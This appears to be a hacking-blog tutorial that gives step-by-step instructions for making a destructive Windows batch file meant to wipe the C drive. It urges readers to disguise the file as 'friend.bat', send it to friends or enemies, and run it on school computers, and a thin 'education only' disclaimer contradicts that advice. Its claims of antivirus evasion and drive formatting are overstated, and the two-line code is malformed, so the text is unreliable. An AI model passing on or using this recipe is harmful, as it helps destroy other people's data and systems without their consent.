Join the larget crypto conference of 2018 in Dubai

Create a Virus in less than 30 Seconds


In the first stage of hacking, everyone wants to create a virus that might have the ability to destroy someone’s computer completely or get their passwords using the virus. The main motive of every virus is to harm the victim’s computer. Virus is a malicious program that enters into computer without your permission and can affect your data and operating system working.

Everyone thinks that creating a virus is not an easy task and you need to be a programmer to create a virus. Some people also think that you need to write hundreds of lines of codes to create a virus. But this is not true. The Virus which we will create today cannot be even caught by the antivirus.


Today we will learn to create a virus in less than 30 seconds. This virus will erase everything in the C drive and hence, corrupt the OS.

*Warning :- Do not even try this on your computer

Follow the Steps below to create a virus in less than 30 seconds.

Step 1)  Open Notepad on your Windows platform.

Step 2)  Now copy these two line of code and paste it in your notepad.

@Echo off

Del C:\ *.* |y

Step 3)  Save the file as a .bat file. Press CTRL + S and then change the name to friend.bat and then change the Save as type to all files.

Step 4) Send this file to your friend or your enemy and wait for them to execute this file. You can even type this code on your school computers to try this code.

This tutorial was for education purposes only. Do not try this on your computer as it will completely format your C Drive.


More method to create different types of viruses coming soon, so stay tuned with us.